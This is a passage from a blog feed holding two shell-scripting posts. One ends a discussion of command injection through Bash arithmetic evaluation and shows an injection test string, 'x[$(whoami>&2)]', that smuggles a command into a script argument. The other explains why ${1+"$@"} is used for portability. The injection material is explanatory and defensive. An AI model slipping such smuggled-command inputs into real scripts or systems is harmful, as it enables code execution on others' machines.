&lt;p&gt;For example, &lt;code&gt;[ ... ]&lt;/code&gt; expression is not affected from this problem.&lt;br&gt;
Because it does not interpret builtin arithmetic expression of the shell since &lt;code&gt;[&lt;/code&gt; is individual command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ which [
/usr/bin/[
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Therefore, this script is NOT vulnerable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 0 &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nv"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0
&lt;span class="k"&gt;else
    &lt;/span&gt;&lt;span class="nv"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./script.sh 'x[$(whoami&amp;gt;&amp;amp;2)]'
./script.sh: line 2: [: x[$(whoami&amp;gt;&amp;amp;2)]: integer expression expected
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Let me introduce one more example.&lt;br&gt;
&lt;a href="https://github.com/ryuichiueda/bashcms2"&gt;bashcms&lt;/a&gt; is the Content management system (CMS) written in Bash created by &lt;a href="https://twitter.com/uedarobotics"&gt;@ryuichiueda&lt;/a&gt;.&lt;br&gt;
He has published his own Web site on this CMS for more than 6 years.&lt;br&gt;
However, he has never experienced security issues and performance issues (as he said in his book).&lt;br&gt;
"bashcms" filters all the input with external command since it does not store user input to the shell variables directly.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/ryuichiueda/bashcms2/blob/master/bin/index.cgi"&gt;bashcms2/blob/master/bin/index.cgi&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;dir&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="nt"&gt;-dc&lt;/span&gt; &lt;span class="s1"&gt;'a-zA-Z0-9_='&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;QUERY_STRING&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt; | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s;=;s/;'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;h1&gt;
  
  
  Again: Is it vulnerability ?
&lt;/h1&gt;

&lt;p&gt;This behavior is very unintuitive.&lt;br&gt;
As you can see, this behavior may be used for malicious attacks.&lt;br&gt;
For that reason, the author of original article reports this issue to IPA&lt;sup id="fnref1"&gt;1&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;However, IPA judges that it is not the problem of interpreter itself.&lt;br&gt;
Therefore, the developer should take care of this issue.&lt;br&gt;
Yeah, that may be technically right.&lt;br&gt;
Actually, as I introduced, this behavior is documented on shell's manual.&lt;br&gt;
Not only &lt;code&gt;bash&lt;/code&gt;, but also &lt;code&gt;mksh&lt;/code&gt; has also the small warning message on its manual about it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://manpages.debian.org/experimental/mksh/mksh.1.en.html"&gt;mksh(1)&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Warning: This also affects implicit conversion to integer, for example as done by the let command. Never use unchecked user input, e.g. from the environment, in an arithmetic context!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;How do you think about this behavior ?&lt;/p&gt;

&lt;p&gt;Do you think this is vulnerability ? or Shell's expected behavior?&lt;/p&gt;

&lt;p&gt;Do you have any other ideas how to write secure code ?&lt;/p&gt;

&lt;p&gt;Please comment and let us discuss :)&lt;/p&gt;




&lt;ol&gt;

&lt;li id="fn1"&gt;
&lt;p&gt;&lt;a href="https://www.ipa.go.jp/"&gt;IPA&lt;/a&gt;:  Information-technology Promotion Agency. The organization that organizes various ICT activities for Japanese citizens. This is kind of public organization because Japanese government support it financially. Japanese software engineers can report a software vulnerability to this organization so that they can escalate it into other stakeholders if necessary. ↩&lt;/p&gt;
&lt;/li&gt;

&lt;/ol&gt;

</description>
      <category>bash</category>
      <category>linux</category>
      <category>shellscript</category>
      <category>security</category>
    </item>
    <item>
      <title>Why ${1+"$@"} is used in shell script</title>
      <dc:creator>Yasuhiro Yamada</dc:creator>
      <pubDate>Wed, 01 May 2019 22:46:04 +0000</pubDate>
      <link>https://forem.com/greymd/why-1-is-used-in-shell-script-364h</link>
      <guid>https://forem.com/greymd/why-1-is-used-in-shell-script-364h</guid>
      <description>&lt;p&gt;Sometimes, I use &lt;code&gt;${1+"$@"}&lt;/code&gt; instead of &lt;code&gt;"$@"&lt;/code&gt; when passing arguments to a function or an external command.&lt;br&gt;
Here is the example.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

main &lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="c"&gt;# Something...&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

main &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="p"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;code&gt;${1+"$@"}&lt;/code&gt; behaves almost same as &lt;code&gt;"$@"&lt;/code&gt;(If you do not understand &lt;code&gt;"$@"&lt;/code&gt;, see &lt;a href="https://wiki.bash-hackers.org/scripting/posparams#all_positional_parameters"&gt;this helpful article&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;However, there are many shell scripts that include &lt;code&gt;${1+"$@"}&lt;/code&gt; instead of &lt;code&gt;"$@"&lt;/code&gt; all over the world.&lt;/p&gt;

&lt;p&gt;Oops, have you never seen them ?&lt;/p&gt;

&lt;p&gt;OK, let's execute this command on your machine.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'${1+"$@"}'&lt;/span&gt; /bin/&lt;span class="k"&gt;*&lt;/span&gt; /usr/bin/&lt;span class="k"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;You'll get bunch of results on either Linux or BSD.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'${1+"$@"}'&lt;/span&gt; /bin/&lt;span class="k"&gt;*&lt;/span&gt; /usr/bin/&lt;span class="k"&gt;*&lt;/span&gt;
/bin/c2ph:    &lt;span class="nb"&gt;eval&lt;/span&gt; &lt;span class="s1"&gt;'exec /usr/bin/perl -S $0 ${1+"$@"}'&lt;/span&gt;
/bin/c89:exec gcc &lt;span class="nv"&gt;$fl&lt;/span&gt; &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="p"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;
/bin/c99:exec gcc &lt;span class="nv"&gt;$fl&lt;/span&gt; &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="p"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;
/bin/catchsegv:&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$prog&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="p"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt; 2&amp;gt;&amp;amp;3 3&amp;gt;&amp;amp;-&lt;span class="o"&gt;)&lt;/span&gt;
/bin/find2perl:    &lt;span class="nb"&gt;eval&lt;/span&gt; &lt;span class="s1"&gt;'exec /usr/bin/perl -S $0 ${1+"$@"}'&lt;/span&gt;
...
...
/usr/bin/xzgrep:eval &lt;span class="s2"&gt;"set -- &lt;/span&gt;&lt;span class="nv"&gt;$operands&lt;/span&gt;&lt;span class="s2"&gt; "&lt;/span&gt;&lt;span class="s1"&gt;'${1+"$@"}'&lt;/span&gt;
/usr/bin/zgrep:    &lt;span class="nb"&gt;eval&lt;/span&gt; &lt;span class="s2"&gt;"set -- &lt;/span&gt;&lt;span class="nv"&gt;$arg2&lt;/span&gt;&lt;span class="s2"&gt; "&lt;/span&gt;&lt;span class="s1"&gt;'${1+"$@"}'&lt;/span&gt;
/usr/bin/zgrep:eval &lt;span class="s2"&gt;"set -- &lt;/span&gt;&lt;span class="nv"&gt;$operands&lt;/span&gt;&lt;span class="s2"&gt; "&lt;/span&gt;&lt;span class="s1"&gt;'${1+"$@"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;And I know some OSS projects use this expression.&lt;br&gt;
In addition, I am also using it in my own projects.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/greymd/tmux-xpanes"&gt;tmux-xpanes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/unkontributors/super_unko/blob/master/bin/unko.tower#L141"&gt;super_unko&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let me note &lt;strong&gt;my&lt;/strong&gt; reason of why I'd rather use &lt;code&gt;${1+"$@"}&lt;/code&gt; than &lt;code&gt;"$@"&lt;/code&gt;.&lt;br&gt;
I am little bit concern about whether my purpose is reasonable or not.&lt;br&gt;
Because historical background related to grammatical expression of code is very hard to find on the web (Because it's difficult to search).&lt;br&gt;
If you use &lt;code&gt;${1+"$@"}&lt;/code&gt; and have any other intention, please comment and let me know!&lt;/p&gt;
&lt;h1&gt;
  
  
  My conclusion first
&lt;/h1&gt;
&lt;h2&gt;
  
  
  Why use it?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;To improve portability&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;"$@"&lt;/code&gt; does not work as expected on the particular environments.

&lt;ul&gt;
&lt;li&gt;Early versions of Bourne shell&lt;/li&gt;
&lt;li&gt;Particular versions of Bash&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Is it better to use it?
&lt;/h2&gt;

&lt;p&gt;Depending on your situation.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You do not need to use &lt;code&gt;${1+"$@"}&lt;/code&gt; if you can ensure that &lt;code&gt;"$@"&lt;/code&gt; expands 1 or more positional parameters.&lt;/li&gt;
&lt;li&gt;It's better to use it if the number of positional parameters of &lt;code&gt;"$@"&lt;/code&gt; can be 0.&lt;/li&gt;
&lt;li&gt;But I think, you should not pay large cost to use it.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;
  
  
  What &lt;code&gt;${1+"$@"}&lt;/code&gt; does ?
&lt;/h1&gt;

&lt;p&gt;This expression is came from the variable expansion of &lt;code&gt;${parameter+word}&lt;/code&gt; provided by Bourne shell.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.in-ulm.de/~mascheck/bourne/v7/"&gt;Bourne Shell Manual, Version 7&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;${parameter+word}&lt;br&gt;
If parameter is set  then  substitute  word;  otherwise&lt;br&gt;
substitute nothing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;1&lt;/code&gt; is located to &lt;code&gt;parameter&lt;/code&gt;'s position, and &lt;code&gt;"$@"&lt;/code&gt; is located to the &lt;code&gt;word&lt;/code&gt;'s one.&lt;/p&gt;

&lt;p&gt;As a result, &lt;code&gt;${1+"$@"}&lt;/code&gt; means...&lt;br&gt;
&lt;strong&gt;If &lt;code&gt;$1&lt;/code&gt; is defined, evaluate &lt;code&gt;"$@"&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This expression can be used in the not only Bourne shell, but also Bourne Again Shell (Bash).&lt;br&gt;
It seems that this is not documented on the Bash's manual. But you can find it if you read carefully.&lt;/p&gt;

&lt;p&gt;Bash has &lt;code&gt;${var:+word}&lt;/code&gt; variable expansion and its colon can be omitted.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.gnu.org/software/bash/manual/bashref.html#Shell-Parameter-Expansion"&gt;Bash Reference Manual&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;if the colon is omitted, the operator tests only for existence.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Normally, &lt;code&gt;${var:+word}&lt;/code&gt; checks whether the &lt;code&gt;var&lt;/code&gt; is empty or not.&lt;br&gt;
But if colon is ommited, it just checks &lt;code&gt;var&lt;/code&gt; is defined or not.&lt;br&gt;
Therefore, it behaves completely same as Bourne shell's &lt;code&gt;${parameter+word}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  What's happened with &lt;code&gt;"$@"&lt;/code&gt; ?
&lt;/h2&gt;

&lt;p&gt;Here is simple shell script. It just prints the arguments by &lt;code&gt;echo&lt;/code&gt;.&lt;br&gt;
If any undefined variable is used, the script exits unsuccessfully because &lt;code&gt;set -u&lt;/code&gt; is stated.&lt;br&gt;
But it seems that there is no undefined variable as you may know.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;code&gt;myecho.sh&lt;/code&gt;
&lt;/h4&gt;


&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  Bash 3.2
&lt;/h4&gt;

&lt;p&gt;Try it on the old version of Bash first.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;~ $ bash --version
GNU bash, version 3.2.57(1)-release (x86_64-apple-darwin18)
Copyright (C) 2007 Free Software Foundation, Inc.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;It works as expected.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;/bin/sh myecho.sh A B C
A B C

&lt;span class="nv"&gt;$ &lt;/span&gt;/bin/sh myecho.sh
&lt;span class="c"&gt;### empty result&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;h4&gt;
  
  
  Bourne shell on V7
&lt;/h4&gt;

&lt;p&gt;Next, let's test in on Bourne shell.&lt;br&gt;
But what is "Bourne shell" ? (I do not know honestly)&lt;br&gt;
Let's check Wikipedia :p&lt;/p&gt;

&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Bourne_shell"&gt;Bourne shell - Wikipedia&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The Bourne shell was the default shell for Version 7 Unix.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;OK, let's use Version 7 Unix (called V7 in this article).&lt;br&gt;
V7 can be simulated on &lt;a href="http://simh.trailing-edge.com/"&gt;SIMH&lt;/a&gt; (I used the docker container &lt;a href="https://hub.docker.com/r/rattydave/alpine-simh"&gt;alpine-simh&lt;/a&gt;).&lt;br&gt;
Off course, &lt;code&gt;vi&lt;/code&gt; is not installed to the V7 as &lt;code&gt;myecho.sh&lt;/code&gt; must be created by &lt;code&gt;ed&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ed myecho.sh
a
set -u
echo "$\@
"
.
w
17
q

$ cat myecho.sh
set -u
echo "$@"
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;And test it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ /bin/sh myecho.sh A C D
A B C

$ /bin/sh myecho.sh
myecho.sh: @: parameter not set
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Exit with error !&lt;/p&gt;

&lt;p&gt;But, is it big issue for you ?&lt;br&gt;
Many of you may think that everybody no longer uses Bourne shell on V7.&lt;br&gt;
But see next.&lt;/p&gt;
&lt;h4&gt;
  
  
  Bash 4.0.0
&lt;/h4&gt;

&lt;p&gt;I built Bash 4.0.0.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;/usr/bin/bash &lt;span class="nt"&gt;--version&lt;/span&gt;
GNU bash, version 4.0.0&lt;span class="o"&gt;(&lt;/span&gt;1&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;-release&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;x86_64-unknown-linux-gnu&lt;span class="o"&gt;)&lt;/span&gt;
Copyright &lt;span class="o"&gt;(&lt;/span&gt;C&lt;span class="o"&gt;)&lt;/span&gt; 2009 Free Software Foundation, Inc.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;And test this script.&lt;br&gt;
Result is like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;/usr/bin/bash myecho.sh A B C
A B C

&lt;span class="nv"&gt;$ &lt;/span&gt;/usr/bin/bash myecho.sh
myecho.sh: line 2: &lt;span class="nv"&gt;$@&lt;/span&gt;: unbound variable
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Exit with error again !&lt;br&gt;
Particular version of Bash does not work as well.&lt;/p&gt;

&lt;p&gt;However, using &lt;code&gt;${1+"$@"}&lt;/code&gt; instead of &lt;code&gt;"$@"&lt;/code&gt;, we can avoid above errors.&lt;/p&gt;
&lt;h2&gt;
  
  
  History of this issue
&lt;/h2&gt;

&lt;p&gt;By the way, who started to use &lt;code&gt;${1+"$@"}&lt;/code&gt; ?&lt;br&gt;
I am not sure, but there is the discussion in the book called &lt;a href="https://web.mit.edu/~simsong/www/ugh.pdf"&gt;The UNIX-HATERS Handbook&lt;/a&gt; published in 1994.&lt;br&gt;
Regarding this book, shell experts had used this expression as of 1991.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Milt&amp;gt; what does the “${1+“$@”}” mean? I’m sure it’s to&lt;br&gt;
Milt&amp;gt; read in the rest of the command line arguments, but&lt;br&gt;
Milt&amp;gt; I’m not sure exactly what it means&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It says the reason is ...&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If we used only “$@” then that would substitute to “” (a null argu-&lt;br&gt;
ment) if there were no invocation arguments, but we want no argu-&lt;br&gt;
ments reproduced in that case, not “”.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Let me explain this part in detail.&lt;br&gt;
Generally (and grammatically), &lt;code&gt;"$@"&lt;/code&gt; is supposed to be handled as NOTHING if the number of arguments is 0.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;my_command &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;### Same as ...&lt;/span&gt;
my_command
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;However, &lt;code&gt;"$@"&lt;/code&gt; is handled as empty string &lt;code&gt;""&lt;/code&gt; on the particular environments like Bourne shell on V7.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;my_command &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;### Same as this !&lt;/span&gt;
my_command &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;This is unexpected behavior for many developers, I guess.&lt;br&gt;
On the other hand, &lt;code&gt;${1+"$@"}&lt;/code&gt; can be NOTHING as expected.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;my_command &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="p"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;

&lt;span class="c"&gt;### same as below&lt;/span&gt;
my_command
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;And the book says that this way is compatible with V7.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I think ${1+“$@”} is portable all the way back to “Version 7 Unix.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Investigation on V7
&lt;/h3&gt;

&lt;p&gt;I checked this behavior on V7.&lt;br&gt;
Firstly, create two files as followings.&lt;/p&gt;
&lt;h4&gt;
  
  
  &lt;code&gt;main1.sh&lt;/code&gt;
&lt;/h4&gt;


&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./sub.sh "$@"
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  &lt;code&gt;sub.sh&lt;/code&gt;
&lt;/h4&gt;


&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo "# = $#"
echo "@ = $*"
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;( I could not unify them into single file as shell's "function" was not suppored as of V7. )&lt;/p&gt;

&lt;p&gt;The result of &lt;code&gt;main1.sh&lt;/code&gt; is like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ /bin/sh main1.sh A B C
# = 3
@ = A B C

$ /bin/sh main1.sh
# = 1
@ =
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;code&gt;$#&lt;/code&gt; is 1. Because empty string &lt;code&gt;""&lt;/code&gt; is passed.&lt;/p&gt;

&lt;p&gt;Next, create &lt;code&gt;main2.sh&lt;/code&gt; that uses &lt;code&gt;${1+"$@"}&lt;/code&gt;  instead of &lt;code&gt;$@&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;code&gt;main2.sh&lt;/code&gt;
&lt;/h4&gt;



&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./sub.sh ${1+"$@"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;The result is ...&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ /bin/sh main2.sh A B C
# = 3
@ = A B C

$ /bin/sh main2.sh
# = 0
@ =
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;code&gt;$#&lt;/code&gt; is 0.&lt;br&gt;
Because NOTHING is passed.&lt;/p&gt;
&lt;h2&gt;
  
  
  Investigation on Bash 4.0.0
&lt;/h2&gt;

&lt;p&gt;Personally, to keep compatibility with particular versions of Bash is main reason to use this expression.&lt;/p&gt;

&lt;p&gt;As I mentioned above, &lt;code&gt;"$@"&lt;/code&gt; is not equal to &lt;code&gt;${1+"$@"}&lt;/code&gt; in Bash 4.0.0 as same as Bourne shell.&lt;/p&gt;

&lt;p&gt;(I noticed this bug when I was running automated testing for my personal project.)&lt;/p&gt;

&lt;p&gt;Strangely, &lt;code&gt;"$@"&lt;/code&gt; is going to be NOTHING.&lt;br&gt;
This is different from Bourne shell.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ /usr/bin/bash main1.sh
# = 0
@ =
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ /usr/bin/bash main2.sh
# = 0
@ =
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;However, the script is going to be failed with &lt;code&gt;set -u&lt;/code&gt; as Bash recognizes that unbound variable is used.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;/usr/bin/bash &lt;span class="nt"&gt;-u&lt;/span&gt; main1.sh
main1.sh: line 1: &lt;span class="nv"&gt;$@&lt;/span&gt;: unbound variable

&lt;span class="nv"&gt;$ &lt;/span&gt;/usr/bin/bash &lt;span class="nt"&gt;-u&lt;/span&gt; main2.sh
&lt;span class="c"&gt;# = 0&lt;/span&gt;
@ &lt;span class="o"&gt;=&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;This bug can also be avoided by &lt;code&gt;${1+"$@"}&lt;/code&gt;.&lt;br&gt;
It was already fixed in later versions.&lt;br&gt;
But I know Bash had got many bugs historically.&lt;br&gt;
For example, parameter expansion still has bugs as of bash 5.0.3.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;bash &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'set -u; typeset -a a; echo "${#a[@]}"'&lt;/span&gt;
bash: a: unbound variable
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;(this bug was already reported by &lt;a href="https://twitter.com/satoh_fumiyasu/status/883228541457899520"&gt;@satoh_fumiyasu&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;The reason why I am still using &lt;code&gt;${1+"$@"}&lt;/code&gt; is mainly came from the concerns about the Bash's robustness.&lt;br&gt;
Honestly, I am not interested in the compatibility for early version of Bourne shell (It does not support even the Shebang !).&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;As I mentioned, &lt;code&gt;${1+"$@"}&lt;/code&gt; might NOT be equal to &lt;code&gt;"$@"&lt;/code&gt; if the number of positional parameters is 0.&lt;br&gt;
Therefore, it's not necessary to use if the number of parameter is supposed to be 1 or more (You would rather NOT use it as it will cause confusion).&lt;/p&gt;

&lt;p&gt;If the number of parameters can be 0, it's worth using the expression.&lt;br&gt;
Bash can recognize it grammatically.&lt;/p&gt;

&lt;p&gt;However, the environment that has this issue is quite rare as of 2019.&lt;/p&gt;

&lt;ul&gt;
